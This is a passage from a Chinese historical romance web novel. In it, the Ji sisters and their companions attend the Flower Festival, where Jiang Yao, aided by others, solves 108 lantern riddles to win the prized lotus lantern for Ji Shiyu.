姬时语被他连亲两下脸,心口可是难受坏了,一会儿愧疚自己不该太生分,一会儿又觉着不该这么亲密。
最后她还是随了江曜,只是说:“在我姐姐跟前,你可不许这样了。”
“为什么?”
姬时语说不出个所以然,她甚至不敢去直视江曜的脸,眼睫眨动的厉害。
“我怕我姐姐会吃味的,”
瞥了头,姬时语喃喃找了个蹩脚的借口,“哎呀,你好烦呐,我姐姐也跟我讨亲怎么办?我及笄了,又不是小孩子啦,你们一个二个的这样欺负我!”
“那我们兄妹之间可以背地里亲吗?”
“好吧,可以。”
“嗯。”
江曜埋头在她肩窝,低低地笑了。
阿锁不知道,偷偷摸摸的感觉他更喜爱啊。
和阿锁背着姬合英,还要背着侯府的人偷亲,光是想想就很令人亢奋呢。
……
九月初九,华灯初上。
萍柳和萍亭还在韶华院中替姬时语收拾,两人抱来明光书肆的书薄,清点之后在书案摆放整齐。
姬时语吩咐陆掌柜张贴告示,集思广益,以纨绔公子、喜花天酒地之事为最好。
为防来者暴露不妥,书肆特意在门前摆放一张书信箱子,只留一个投信口。
短短几日,成册的书信薄本全送至了明光书肆。
陆掌柜筛选一通后,马不停蹄地送到了忠义侯府。
这一大沓子信纸,可有的姬时语折腾。
姬时语随意翻看了两张,当场捧着肚子大笑起来。
“哈哈哈哈,隔壁王大人喝多了倒在门外,衣衫一乱,他、他竟喜欢着红亵裤!”
“和美人鬼混,院子养的大黄狗被吓得连夜叼着狗娃儿跑了。”
姬时语笑得肚子好痛,泪花飙了出来,“这都什么啊,确信是真的还是假的,我瞧着怎么那样作假啊?”
“什么真真假假,假假真真的?”
姬合英这时大步踏入韶华院,姬时语欣喜若狂,丢下信纸便扑过去,“姐姐!”
今日意料之外,姬合英没着银灰单衣,而是一身元宝纹月白色圆领袍,外还披着一件联珠纹皮袄。
整个人英气之中又添了一抹朝气。
衬得姬合英尤为明亮光华。
姬时语笑问:“姐姐这是要去哪?穿的这样不一般。”
姬合英脸色一顿,不自然起来。
她喊姬时语:“阿锁,陪我一道出府吧。”
“什么什么?”
“今日是花朝节。”
姬合英侧头,耳根微红了,姬时语眼尖察觉姐姐异样,当即调笑追问:“姐姐莫不是有约了?”
半晌,姬合英才应了一声:“薛淮璋过府来接我。”
“天呐,是你们两个相约游街啊!”
姬时语跟个机灵鬼一样提溜眼珠子,姬合英没好气在她脑门一弹,姬时语抱头哎哟,姬合英就说:“我是问你去还是不去?”
“我不……”
姬时语本想说自己不去扰他们二人游玩,可她又太想看姐姐和薛淮璋相处,嘿嘿一笑,改了话,“我去,我去!”
“行,我去让人叫江云让来。”
姬时语才开怀呢,这回又蔫巴了,“不是姐姐,你喊他做什么?”
“你还没同他和好?你俩闹什么小脾气呢。”
“哪有啊,我们一直很好啊。”
姬合英看姬时语眼神飘忽都不看她,沉吟道:“那喊他陪着你,免得你稀里糊涂又让人拐去了。”
“我才不会。”
姬时语不服气,可也拦不住姐姐的心意,姬合英已派人去寻江曜。
韶华院外,姬合英的丫鬟旋即走来,“大小姐,薛大人过府来了。”
第55章
夜幕降临,忠义侯府门外,姬府的几位姑娘挽手言笑。
江曜跟在姬时语手边,投眸在前方。
三房的姬时河领着一双妹妹,姬府的三小姐与四小姐,朝两人笑着走来。
不光是大房姐妹,连三房也得了老夫人的首肯,允姑娘们上街游玩。
暮色沉下之后,宽敞的街道两面皆是缚挂起了长长的条街灯笼,灯火通明的,可谓是东风夜放花千树,火树银花的璀璨。
薛淮璋和姬合英走在最前,两人一道穿过来往人群。
有江曜护着姬时语,姬时河又陪同三房姐妹姬如萍和姬如蕊,姬合英无需太担忧侯府姑娘们的安危。
唯有这个花朝节,此时此刻。
姬合英不愿做五品女官,也不想肩负岭西的重担,她只想成为姬合英。
瞥见身侧清秀的俊容,姬合英不知不觉嘴染了笑意。
“薛大人今日想去何地方?”
薛淮璋比姬合英要紧张太多,可一听她的呼唤,
微蹙眉道:“合英不是才说我们彼此互喊名讳,你却喊我薛大人。”
姬合英笑道:“淮璋。”
这一喊,薛淮璋看也不敢看姬合英,脸悄悄红了。
姬合英本就不是个话多的人,薛淮璋一害羞,两人更是无话可说。
薛淮璋受不了这种沉默,主动寻了话端。
“合英可有上街见过这些小玩意?”
街面许多摊子,形色各异张罗叫卖,薛淮璋指了一处转盘糖人摊子,和她说:“这是十二生肖的。”
姬合英好奇:“那为何是十三个框?”
“因为还有一根不是生肖的,乃是头奖。”
薛淮璋笑了笑,带着她往摊位走,还道:“走吧,我们也去瞧瞧。”
姬合英鲜少上街过节。
姬时语儿时身子不好,舒氏不允小姑娘出府,她闹着哭嚎,舒氏却不松口。
无法,姬时语便赖着姬合英,要姐姐陪,要姐姐哄。
这样之下,姬合英怎么可能撇下妹妹独自出府游玩呢?
眼前的回忆模糊了几许,乍然又亮了起来。
薛淮璋已是付钱摇了转盘,那根木签停下来时,赫然指着一只大公鸡。
摊主哈哈大笑:“抱鸡好啊,旺妻又旺孩子。”
薛淮璋被说的一刻也不敢多待,拿了大公鸡糖人撒腿便跑,又折回到姬合英跟前,讪讪一笑。
“我手气太臭,没抽到好的。”薛淮璋挠头烦懑。
姬合英却笑着从他手里接下糖人,“这不也挺好的,我属鸡,很和我。”
薛淮璋愣了愣,许是被姬合英灿烂的笑怔住,又兴许是他才想起来姬合英的属相。
姬合英咬了一口鸡冠,朝前走了两步再回头,见薛淮璋还愣在原地,她笑望过来。
“傻愣什么,还不走?”
薛淮璋回过神,追了上去,“就来了。”
姬合英舌尖滚动,含着糖。
她想,好甜。
落在两人身后三四步远的姬时语,才是左瞧瞧右瞧瞧。
小姑娘探着脑袋四处张望,无论瞅见哪地,两眼都是亮晶晶的。
江曜跟得紧,有意拽住了姬时语的衣袖。
姬时河在两人身后走着,瞧见了,摇头笑得不行。
他总觉得江曜恨不得拿根麻绳,绑了他五妹姬时语的手系在自己身上,是生怕五妹丢了。
姬时语兴致很高,守孝那三年她未踏出府一步,后来的两年,姬合英和江曜不在京城,她也懒得外出溜达。
好容易来一回花朝节,不得多看看街上都摆了劳什子的好宝贝?
姬时河笑说:“五妹喜欢什么,二哥来买啊。”
“好啊,二哥。”
姬时语黑葡萄似得眼珠子转了个圈,她盈盈一笑道:“这些,这些,那些,这一条街的我都喜欢,你全给我买下来,好不好?”
姬如萍和姬如蕊俩姐妹在后捂嘴一个劲笑。
早知道姬家五妹是个小机灵鬼,没少得喜欢坑自家哥哥,姬时河还真是主动撞上去了。
姬时语等了半天,也没等来姬时河的应,她娇憨哼道:“二哥这就想耍赖了。”
“好五妹,我囊中羞涩,拿不出那么多银子。”
姬时河燥得脸皮红了。
姬如萍笑声更大,“二哥也是的,掏不出银两还要逞英雄呢。”
姬如蕊则走来,她说:“五妹,四姐给你买。”
“二哥,你真不害臊呀。”
姬时语朝姬时河睇去一眼。
姬时河想辩解,他带了银子的,只是不多,经不起姬时语的胡来造作,买罢整条街哪来够的。
可小姑娘根本不给他机会,已是蹦蹦跳跳和三姐四姐去摊子挑花绳了。
姬时河看了眼落在最后的江曜,还是板着脸跑过去和江曜正色道:“我真有钱的。”
少年清冷的狐狸眼投来一瞥,一字未提,越过他便走了。
姬时河被留在原地。
气得头大。
得,他和一个不解风情的木头说什么?
死木头眼里还只有他五妹,没救了,彻底没得救。
花朝节自是逃不开各样的花,姬时语很是中意繁花而做的花绳,拉着自家姐姐们便来选。
这种花绳乃是花绽放之时风干,先用竹油涂抹,添了亮色,再与红绳粘黏起来,后干成便可编成花绳。
小玩意图个稀罕,并不昂贵。
三姐妹一人挑了一个,姬时语选的海棠,姬如萍要了荷花花绳,而姬如蕊挑了一朵兰花的。
姬时语还不忘给姬合英挑了一个,她为姐姐选的是梅花。
一共四串,姬时语一起给了四百文。
三房的两姐妹摆手不要,姬如蕊更是说:“不是说好了姐姐来买?”
姬时语笑道:“两位姐姐来京城许久,我也没送过你们合心的物什,难得姐姐们有了喜欢之物,让我表一下心意吧。”
“让你拿钱,那多不好的。”
姬如萍应姬如蕊的话,“母亲待我们很好,我和四妹月银有余,五妹不必担忧我们掏不出钱。”
两姐妹只以为姬时语是关切两人庶女之身,平日拮据。
“那姐姐们之后给我买个花灯可好?”
姬时语一双猫瞳是比街头檐角的花灯还要明媚。
姬如萍和姬如蕊对视一眼,两姐妹皆绽了笑,“好啊,就这么说定了。”
姬时语有心待两人好,两姐妹也想回以她同等。
这是三房夫人何氏教导姐妹俩的,相处之道。
买好了花绳,姬时语转身又跑去江曜身边,同他炫耀,“姐姐们想给我买的,你看我挑得好不好看?”
那朵桃红色海棠花初蕊鹅黄,与姬时语今日所穿的鹅黄色袄裙色泽一样。
娇花明艳,徐徐盛开。
“和人家买花绳,你就这样高兴。”
江曜喉结滚动,他抬手抚摸姬时语脑后的乌发,轻轻撩动,“先前我给你买,怎不见你欢欣雀跃的?”
少年清冷嗓音夹杂着不易察觉的别扭。
姬时语抬首便望见江曜手腕之上的粉色珠串,想起他又是吃味了。
怎么连她亲姐姐的醋都要吃?
这气性也太大了!
“这是我们府上四姐妹的情深义厚,哪一样了?”
姬时语鼓鼓脸,抱着他手臂扒拉下来,改为挽住他的臂弯,“哥哥,你要还是同姐姐们吃味,你想要什么我也给你买就是了。”
如今的姬时语再已不是当年那个,连五两银子都拿不出的孩童了。
她不光开了明光书肆,还日日皆有进账,手头宽裕着呢。
莫说江曜想吃烤全羊了,即使去京中最大的酒楼包下整日。
姬时语也给的起。
这五年江曜不在京中,可姬时语没少往思芳院搬好些物什,如那文房四宝、上等的茶壶器具等。
江曜归来后,她又命人给少年置办新衣裳,足买了一二十件。
姬时语娇俏地翘翘鼻头。
江曜默不作声瞥眼两人交缠的手臂,他愉悦地勾起唇角,衣袖垂下,轻缓勾住了她的手。
姬时语刚要问怎么了,少年却正经道:“你别跟丢了。”
“我哪有你说的那么不小心。”
姬时语咕哝:“我已不是三岁小孩儿啦。”
“走吧,给你买花灯去。”
江曜牵着她便走。
姬如萍和
姬如蕊听得两人谈话,不觉压低了声音,姬如蕊便说:“江公子真是好哥哥啊,他好疼惜五妹。”
“可不是啊,哥哥疼妹妹,天经地义的。”
姬如萍说完,不知为何觑向了姬时河,呸了口,“不像我们的哥哥,中看不中用,连一点银子也拿不出来。”
姬时河:“……”
不是,他怎么就莫名被怨怼了?
他真的有钱的!
“好亮的花灯呀!”
姬时语的闷气一扫而空,挑眼望去,一片明亮灯火,她又兴致盎然起来,“花朝节要放花灯,我们快过去,我定要那最大的一盏。”
“要那么大的做什么?”
江曜不解,狐狸眼探究划过,“大归大,却不一定更漂亮。”
“我心愿太多,小花灯哪里盛的住?”
姬时语拉着他手,笑声明媚:“我要很大的花灯,能承下我所有的心愿,老天爷便会助我心想事成。”
江曜听罢,感叹一句:傻。
阿锁有什么心愿,倒不如讲给他听。
求神拜佛,不如求他。
她想要之物,即便是天上的月亮,他也会想方设法的给她弄下来。
可小姑娘兴致高,江曜不愿扫她的兴,便说:“你连心愿都已想好了?”
“是呀,哪有人无欲无求心中无一心愿的呢,我想的可多可多了。”
姬时语随口一说,江曜又上了心。
还没来得及问,那头姬时语已被花灯街的琳琅满目吸引去了目光。
花朝节设在京城的主街,城中运河穿行正街,河岸两边数不清的摊位,每面摊子皆挂满了花灯。
一时之间,满目银河倾倒,光华万千。
姬时河咬牙切齿,他迎头便是上前,大放厥词:“五妹,这回你们只管选,我来给钱!江云让,你可不要跟我抢。”
江曜:“……”
他可没说过要掏钱。
姬如萍一直笑:“好啊,二哥话都落了,那我们可要选几个贵的。”
姬时河瞪她一眼。
哪有这样坑亲哥哥的?他们不都是三房一家人吗?
姬如萍才不管姬时河酱菜色的脸,她牵过姬时语就道:“五妹走,我们去那处最大的摊面,我想那头定会有我们喜欢的。”
“好!”
三姐妹相携去了正街最中央的摊子,这里人潮翻涌,聚集围绕在一排排灯谜跟前。
姬如萍指道:“像是在猜谜拿灯啊。”
“不错,头奖便挂在那根木梁的最上头,是一盏价值千金的仕女灯笼。”
温润的声音在身畔落下,姬时语一歪头,见到沈南怀和沈安乐竟都来到了此处。
“沈大人?”
“时语?”
沈安乐开怀直笑,沈南怀则笑着朝姬时语点头,又与姬家两个姐妹做礼以示好。
姬时语还想开口,谁料身前突然冒出一抹黑影。
江曜一个箭步挡在了她前头,严严实实的,不给沈南怀看她。
“你们怎么也在。”
“陪小妹出来游街,想来挑一盏好的花灯。”
江曜十足警觉,沈南怀微错愕,不过见是姬时语的兄长,他便亲切问礼:“南怀见过江……公子。”
少年一双狐狸眼无端阴暗,他目视沈南怀,冷得发沉。
第56章
就在沈南怀以为江曜又要发作时,少年身后的小姑娘探出了头。
姬时语欢欣地喊道:“安乐!”
江曜的手腕一刹被姬时语牵住,他隐去了阴鸷之色,没让任何人看见。
“时语。”
沈安乐也从沈南怀身后钻出,两个姑娘抱作一团。
“你也来买花灯啊。”
“我哥说这里的花灯又大又漂亮,我想让我哥给我拿几个。”
“阿霜没来吗?”
“她像是有事,说今日不能出府。”
沈安乐圆脸盈盈笑,挽着姬时语的手臂便道:“我同你说,每年花朝节最盛名的花灯便会挂在这里,且还不能买得。”
“不能买,那怎么得?”
“当然是猜灯谜呀,你瞧那处!”
沈安乐说着,朝前不远处指了指,那处有一张藩旗正挂着,最上头有一盏硕大的莲花灯。
“那就是今年最富盛名的雪山居十八仕女图。”
“这……看起来很是寻常一般。”
姬时语远远打量一番,瞧着没觉得有哪里不同,“沈大人不是说千金难求?”
“还是因着离得太远了,看不清画。”
“这莲花灯身是上好紫檀木雕刻所做,灯面薄画出自大家手笔,每一根莲花花瓣都落着一位少女,共十八位。”
沈南怀笑着接了话来,“雪山居的画作,本就一张千金,更别说还做成了花灯,多少文人墨客今日聚集,皆为了这副画来。”
姬时语了悟。
难怪这地方人来人往的。
姬如萍和姬如蕊跃跃欲试,姬如萍问道:“既然这般昂贵,可不是相当难得了?”
姬时语道:“安乐说花银子也买不到。”
“是啊,得猜灯谜呢,头奖得解出一百零八道谜底才能得到。”
“多,多少?”
“一百零八,且需做对最末的那十张谜语,听说那处的灯谜有一张两年之内还没被人破过。”
姬时语一双猫瞳瞪大了。
她没听错吧,这两面墙上所挂着的红纸,凑齐了能有一百零八张吗?
沈南怀道:“这里共有两百多张,答对二十张便可换一盏花灯。”
姬如蕊立马抱了头,“怎么这样难啊?我平日最不喜欢猜灯谜了。”
“我也是,猜来猜去头都大了。”
姬如萍和姬如蕊姐妹俩当即歇了心思。
姬时河却笑呵呵走来,拍了两人肩膀,“两位妹妹,你们怕不是忘了哥哥我呢。”
姬如萍狐疑看他:“二哥,你能行吗?”
“我行,我必须行!”
姬时河愤慨激昂,誓必要一洗雪耻,他投目到沈南怀这面,“沈大人,不如就比比看,谁答对的更多。”
沈南怀兴味挑眉,“二少爷要和我比试?”
“二哥。”姬时语忙拉住了姬时河,“咱们自家人猜猜灯谜,答不出来不丢脸,沈大人可是下过场的,人家过了殿试正儿八经得了陛下钦点的进士,你想不开?”
“五妹,可不兴还未入场便败自家人士气啊,再说了,到时丢脸的是我又不是你。”
姬时河很不服气,恰好江曜牵住了姬时语的手,道:“让他们去。”
江曜巴不得姬时河赶紧带沈南怀离开。
“走吧,沈大人。”姬时河点点头。
沈南怀笑开了,朝他躬身道:“那沈某便却之不恭了,二少爷请。”
两人一前一后绕过人群,扎进了一排排的灯谜红纸之中。
姬时语无奈叹气,摇了摇头,复而她睨身侧的江曜。
江曜瞬间看了过来。
姬时语问他:“云让哥哥可要去猜灯谜?”
“阿锁想要头奖吗?”
“我想要,你便要去给我夺得吗?”姬时语娇俏地笑。
“当然了,你想要之物,我都会尽力争取。”
沈安乐已去追沈南怀,而姬如萍和姬如蕊姐妹也去寻花灯,此地只余下他们两人。
人来人往,花火万千。
姬时语抬眼望他,她在他的眼里看见了自己。
那双墨色的狐狸眼中,如花灯明亮般,映照着她小小的人影。
很快姬时语便俏生生笑了起来,眼如弯月,她弯腰凑到了他面前,故意说道:“那我要!”
姬时语是故意逗江曜的。
头奖一百零八张灯谜,还要答对最末的十张,真是难上加难。
可江曜开了口,她就想有意刁难他。
她的小性子起了,对他做坏的心思克制不住。
此时此刻,姬时语就想看他为难的神情,让他为她之事无比的上心。
那种被十分在乎的感觉,令她欢喜。
“好。”
谁料江曜侧身提步,便往灯谜里钻。
哥哥还真当真了?
姬时语错愕一顿,赶忙抬脚跟上。
江曜姿态潇洒,大步挺阔,来到一排灯谜
跟前,扫过一眼,便开始作答。
姬时语甚至还未看清灯谜的谜案是何,一排十张灯谜,已是被江曜越过。
“啊?这就好了?”
姬时语诧异非常,江曜快步去了下一处,她赶紧追过去,怕走丢了,还不忘喊:“云让哥哥,你等等我。”
不一会儿,江曜便集了三十多张红纸,姬时语嘴巴快合不拢了。
“哥哥,你怎么……”
一身鹅黄袄裙的小姑娘眉眼灵动,盯着他那张俊脸瞧来瞧去,江曜不动声色,任由她垫着脚瞧看。
“没变啊,哪哪都是你本人,怎么五年不见,你学问这样深了。”
姬时语又说:“莫不是我爹给你搜罗了许多书册,你背地里全啃完了?”
江曜勾唇笑,他抬手捏了一把姬时语白嫩的脸蛋。
姬时语生了疼,“哎哟”地直叫。
江曜道:“你不知道的多了。”
说罢,他又潇洒离去。
留姬时语在原地跺脚。
这灯谜排列由易到难,起初江曜刷刷提笔,是见一个便作答一个,姬时语便在后替他捧着红纸,待到第五十个,他落笔慢了下来。
好半天,江曜才琢磨出三两个谜底。
姬时语有心想帮他,可她思索的更慢,一张灯谜她都得想许久,是有心而帮不上。
只能在旁干着急。
一炷香的功夫一晃而过,姬时语时不时朝后眺一眼,已有许多人去到了最末一排的灯谜,想来红纸已凑够了数。
再这样耗下去,怕是让人抢走头奖了。
姬时语想劝江曜。
不如他们算了吧,手上好些红纸,已作答出的谜底不少,足够换个漂亮花灯了。
方才她打量了摊主摆出的花灯,有好几样玉兔花灯,皆是她喜欢的样式。
她也不是非雪山居十八女不可啊。
可身前的少年专心作答,冷峻身影挺直,一张又一张的过,目光坚决。
宛如一头固执倔强的凶兽。
即使是姬时语胡诌的一事,江曜也认真放在了心上。
不容姬时语劝拦。
姬时语只好小步紧跟着他。
又是一盏茶的时辰过去,手里的红纸从五十到了六十,两人离着头奖还差了半数。
江曜眉宇之间生出了疲惫之色,姬时语牵住他的衣角,小声低喃:“云让哥哥,要不……”
话还没说完,身后有人喊她:“阿锁!”
姬时语一回头,竟是姬合英和薛淮璋找来了。
两人的脸上皆挂着灿烂笑容,方才的独处之下,应是相谈甚欢。
姬合英眉眼柔和,手里还执着三盏花灯,昏黄温暖的灯光,照亮她英气的侧颜。
“阿锁,瞧姐姐给你带了什么?”
姬合英举起花灯走近,姬时语眼前一亮,“姐姐买了花灯!”
“不是我买的,是淮璋做灯谜赢来的。”
姬合英知晓自家妹妹多稀罕这些小玩意,特意和薛淮璋一说,薛淮璋便去猜了灯谜。
他言道要送给姬五小姐做礼物。
姬时语手中被塞了花灯,她堪堪拿稳,姬合英才留意小姑娘还捧着好些红纸,东西多的是要拿不住了。
“你们也在猜灯谜?”
姬时语嘿嘿笑道:“我和哥哥想要头奖。”
薛淮璋在这时接了话:“头奖可不好得,最末那十张我看过,题面相当之难,你们真要去拿啊。”
“试试看吧,这会儿攒了六十多张了。”
姬时语又自顾自说服了自己,“若是拿不到,那便罢了。”
姬合英看出妹妹玉白的小脸隐隐带了失落,她登时抱拳朝薛淮璋咳了一声。
薛淮璋立马会意:“五小姐,不如我们一道吧,我来帮你们攒灯谜,江公子做过的我避开,这样岂不是更快?”
“可以吗?”
薛淮璋点头笑,“尽力而为。”
姬时语欣喜若狂。
薛淮璋可是新晋探花郎,有他在,该是事半功倍呢。
闻言,姬时语笑应:“谢谢薛大人。”
因要和江曜错开,薛淮璋便往另一处的灯谜走,姬合英摸摸姬时语的脑袋,说:“我去看看可能帮忙。”
两姐妹便又作别。
江曜还在专注猜灯谜,姬时语凑过去轻轻贴在他身侧,笑道:“刚姐姐来了,薛大人帮我们一起攒红纸,云让哥哥,我们今日真要拿头奖啦!”
小姑娘身上的玉兰花香不时窜入江曜的鼻,令江曜的身子登时紧绷一刹。
他哑了点声,问:“多少张了?”
姬时语点了点,“七十张了。”
江曜是有些疲顿,一口气猜下来没停歇,后脑勺隐隐作痛,稍稍喘气,他再度抬脚。
可脚面还未落下,衣袖已被姬时语拽住。
“哥哥。”
江曜回了头,脸面冷然,姬时语却朝他招手喊道:“你低下头。”
如她所说,他照做了,微微垂首。
姬时语攥着帕子,轻柔地摁压在了他的额角,江曜弯腰,她抬头,稍稍踮起了脚。
两人离得很近,姬时语朱红的樱桃小嘴便在江曜眼前一开一合。
这种感觉,就好像他已娶了姬时语过门,她俨然是他的爱妻。
她体贴他,一颗真心明敞。
灯花迷人眼,江曜的心荡动的厉害。
“哥哥,先歇会吧,瞧你都累出汗了。”
原来是额上起了汗,姬时语察觉了,为他擦罢了汗渍。
江曜轻应了下,墨瞳闪动宠溺的笑意。
被她这么一勾,江曜是舍不得这么快便走了,很想再多温存一点。
和阿锁在一起。
只有他们两个。
江曜静静地待在了姬时语的身边,享受片刻的安宁。
良久,薛淮璋和姬合英从另一排灯谜钻出来,两人手中还捧着许多的红纸。
姬时语又惊又喜,“薛大人这么快便攒了这样多?”
“不全是我猜对的,刚做题遇见了南怀。”
薛淮璋红着脸挠头,“他听说你想要头奖,便主动相帮,这里是三十张红纸,南怀二十,我十。”
江曜闻言,冷冷一哼。
姬时语高兴极了,接下来一数,够了一百张,已是足够去最末一排了。
“薛大人,代我谢谢沈大人。”
姬时语迫不及待,拉着江曜便往最末的走,“快,来都来了,今日必拿下头奖!”
薛淮璋和姬合英也跟着去瞧瞧。
一到最末一排灯谜,江曜便投身去作答,薛淮璋去了同处。
姬时语则好奇这两年最难的那盏灯谜,她径直去找第十张红纸。
此时谜面跟前已有人摇头叹气离去,空了闲位,姬时语便赶紧挤到了前头。
那红纸黑字的谜面赫然呈现在眼前,十分简单明了。
猴子身轻站树梢。
姬时语听过,越是看似简单的谜面,猜起来反而更难。
确实是让人丈二和尚摸不着头脑。
姬时语又念了念,“猴子身轻站树梢……怎么有几分熟悉。”
转而姬时语便想起来。
前世她读过杂书七七八八,其中有一本柳湘儿记,里头的表妹柳湘儿被夫君娇纵上了天,夏日她想吃荔枝,缠着夫君便要。
她偏不说荔枝,道夫君需得猜她心意那样才是一位好夫君。
那时候柳湘儿就说:“我要那猴子身轻站树梢。”
是荔枝啊!
姬时语双目明亮,她飞快在红纸记下,揣好了。
不多时,江曜和薛淮璋相继走来,两人凑着数了数,刚好九张,江曜做了五张,薛淮璋拿了四个。
“太好了,余下最后那个了。”
薛淮璋扶了下冒汗的额头,“不是说这两年还未有人解出吗?去看看。”
浅笑之下,姬时语朝两人摆出自己写的那张“荔枝”。
小姑娘娇俏笑说:“我们可以去拿头奖啦!”
“五、五、五小姐。”
薛淮璋不敢置信:“你做出来了?”
“是呀。”
“五小姐,你真厉害啊。”
薛淮璋毫不掩饰地夸她,复而又好奇道:“不过猴子身轻站树梢为何是荔枝?”
“这题难就难在,许多人看见猴子便想左了,你仔细读读 ,重音放在最后三个字上。”
“站树梢、站树梢……”
薛淮璋恍然大悟。
站树梢可不就是立在枝头,便是荔枝啊。
姬时语已是蹦蹦跳跳地和江曜一道换头奖去了,薛淮璋凝望她的背影,和姬合英道:“合英,你妹妹很聪慧啊。”
“那是,她可是我的妹妹。”姬合英骄傲回。
薛淮璋笑了笑。
摊主那头,来往人群热情似火。
花朝节重头之戏便是搏一搏头奖,可来来去去,要攒够一百零八张的红纸才可得莲花灯,太多人连半数也做不出。
还是太难为人了。
摊主乐呵呵地想,今年他又要带着雪山居十八女打道回府咯。
这时一道俏丽的人影蓦地冒了出来,“东家,我来讨头奖了。”
姬时语发髻之间的铃铛脆生生地打着,在摊主瞪目结舌的目光中,小姑娘将怀里一百零八张红纸扑朔抖落而下。
摊主的手抖个不停。
“你你你,你全做出来了?”
姬时语翘鼻子,“你对着看看嘛。”
摊主一个一个对,对到最后的十张,直到最后一张荔枝两个人浮现眼前,他的手抖得更厉害了。
轰得就那么炸开。
“姑娘,一百零八张,一个不错,今年的头奖非你莫属啊!”
“有人得头奖了?”
“真的假的?不是闹着玩儿呢吧!”
“走,快去看看。”
顷刻间,整条街的人群是齐齐看了过来,往这头好奇打量。
姬时语好像未察觉,她指了指木梁,上头赫然挂着雪山居十八女,她笑问:“那我们可以去取那个花灯了吗?”
“自然可以,雪山居十八女,是姑娘的了。”
木梁有些高了,站下头只伸手是够也够不着,姬时语一时犯了难。
灯火通明之下,五小姐一双好看的柳眉微蹙。
看出姬时语隐有烦恼之色,姬合英便扬笑道:“阿锁,我去给你取?”
“阿锁。”
江曜已先行动了,他喊她,侧头间狐狸眼冷清一片,瞳色执拗。
他眼中,明晃晃写着:让他去。
姬时语好笑的不行,她的云让哥哥这都要争怎么办?
着实太可爱了些。
“好呀,云让哥哥,那你去为我拿吧。”
得了小姑娘的应,江曜一记飞身,跃去木梁。
此时满街人群满是倒吸哗然声,少年一袭墨袍,身姿轻盈如燕,只是朝那根木柱一个借力。
江曜飞身而上。
他抬手便将莲灯稳稳当当摘下。
再一个落地,轻轻稳稳,如此干净利落。
“好啊——好身法!”
众人瞩目又惊叹,有的忍不住拍手叫好。
江曜走回来几步,他抬起手腕,将手中莲灯递至姬时语眼前。
“阿锁,你要的我拿来了。”
他脸色清冷,眼中含杂着无尽的柔情,深深沉沉,如云雾似的朦胧。
那双狐狸眼挑着,犹有一抹说不清的氤氲笼罩在他身上。
周身来往之人那般多,繁华热闹,可江曜好似与纷纷扰扰全然隔绝开来。
江曜朝她轻笑。
刹那,姬时语的心悸动了。
已是看不见了旁人,她眼里只看得见他。
第57章
姬合英勾唇一呵:“好小子,太会耍威风了!风头都给你抢去了,我这个姐姐还未动身呢。”
薛淮璋也是笑:“不愧是赫赫有名的明威小将军啊。”
“阿锁可是满意了?”姬合英笑看姬时语,“你的云让哥哥给你夺来了头奖。”
薛淮璋戏谑瞧看两人。
姬时语被姬合英和薛淮璋两双眼睛盯着打趣,脸皮立马燥热。
倒像今日是她分外作怪,吵着闹着要拿头奖一样。
姬合英真是喜欢看妹妹爱娇模样,她很喜欢哄着她玩。
不管好的坏的,姬时语总是可爱又灵动。
江曜走近了喊:“阿锁。”
姬时语哼哼,她没接花灯:“我手里拿不下了,你先帮我拿着吧。”
姬合英给了她三盏花灯,手里是挂满了哩。
“哎呀!”
沈安乐从另一头钻出来,目光一定,望见江曜手中那盏明亮雪山居十八女,扯着沈南怀便跑来。
“时语,你们真的,真的拿到头奖了?”
沈安乐真是佩服的五体投地。
今日来猜灯谜,她只想着拿些小的,而这顶绝好莲灯,她想着只可远观不可亵玩。
可当姬时语捧着莲灯让她近看细瞧。
莲灯之上每一瓣莲瓣都栩栩如生,沈安乐从不知道,紫檀木竟能做的如此轻薄、如此逼真。
而灯芯裹着的薄纸,每一位少女神韵各不相同,好似天上神仙,印刻其中。
沈安乐连连赞叹:“太漂亮了,此乃绝顶的莲花灯啊!”
“大家之作就是大家之作。”
沈南怀喜爱欣赏宝物,他又是文人出身,对莲花灯更是赞不绝口,“五小姐能得此花灯,也算是得偿所愿了。”
“还要多谢谢你呢,你和薛大人帮了大忙了。”
姬时语说起两人攒来的三十张红纸。
“能帮上五小姐便好。”
沈南怀被她直勾勾注视,耳根子红了。
忠义侯府的五小姐待人向来坦荡荡,又亲切明媚,如天边骄阳。
打一初见到她时,沈南怀便像有一刹那的窒息。
天底下真有姑娘笑意皎洁明亮,待人一片真心良善。
五小姐是个好姑娘啊。
沈南怀知晓自己倾慕姬时语。
这难以启齿的心悦之意,他已埋藏了一年之久。
沈南怀想起什么,便将怀里的花灯递过去,“方才安乐要花灯,我们多得了一盏,今日送给五小姐吧,也全了你们小姐妹情。”
沈安乐在旁眨巴眼睛笑容深深:“时语,收下吧!”
姬时语只好接过。
在这时,姬时河与姬如萍姐妹恰好折返了,姬时河正苦哈哈一张脸,是比菜色还要发愁。
姬时语忆起二哥和沈南怀打的赌,禁不住笑了。
“二哥和沈大人,谁赢谁输?”
姬时河一个噎住,沈南怀轻笑而道:“沈某略胜一筹。”
“哪里是略胜一筹,沈大人太谦逊了。”姬如萍没好气瞥姬时河,“二哥做了五张便做不出了,可见平日压根没用心进学。”
姬时河尴尬地闹了个大红脸。
姬如萍又笑着说:“不过还好二哥识趣,这次主动掏钱,给我和四妹买了花灯。”
姬如蕊笑着来找姬时语,“五妹,我和三姐为你挑的,看看可还喜欢?”
两姐妹是找了不少摊面,才寻到一家卖花灯的。
想着要给姬时语选一面漂亮花灯,两人择了好半晌,后选中一红一绿两只小兔子花灯。
突然间,姬如蕊瞥见了江曜手里那盏十八女莲灯,顿时有些歉意道:“五妹有了头奖,我们这个是有些够不上好了……”
“哪有的事?怎么会够不上呢?”
姬时语抱住姬如蕊的手,她旋即莞尔:“三姐四姐的心意才是珍贵,且兔子是我最喜欢呢,两位姐姐有心了,谢谢你们!”
姬如蕊松口气,她笑说:“你喜欢就好。”
这一下不得了。
姬时语手里是得了五盏花灯,挂的满满当当。
花朝节一趟出府游街,她反倒成了得了宠的,来时还说要选个大大的花灯,这心愿不光成了真,还过了头。
姬时语真是喜上发愁啊。
江曜见姬时语捧着诸多花灯,这一个看会儿,那一个再看会儿,眉间溢着深思。
他轻轻勾了下姬时语的手腕。
小姑娘立马瞥他,眼尾坠着暖意,“哥哥,怎么了?”
江曜牵她,“走吧,还没放花灯。”
护城河便在几步之远处,夜色已深,清冷月色洒在水面。
这条静静流淌的河水,将从正街穿过,一路流向城外。
姬时语站在河边,一时又犯了难。
花灯太多了,选哪个好?
江曜见她踌躇,便问她。
姬时语依依不舍捧着灯,叹了口气,“这些都是姐姐们还有安乐送我的,我舍不得放下河。”
“你不是想用最大的花灯?”
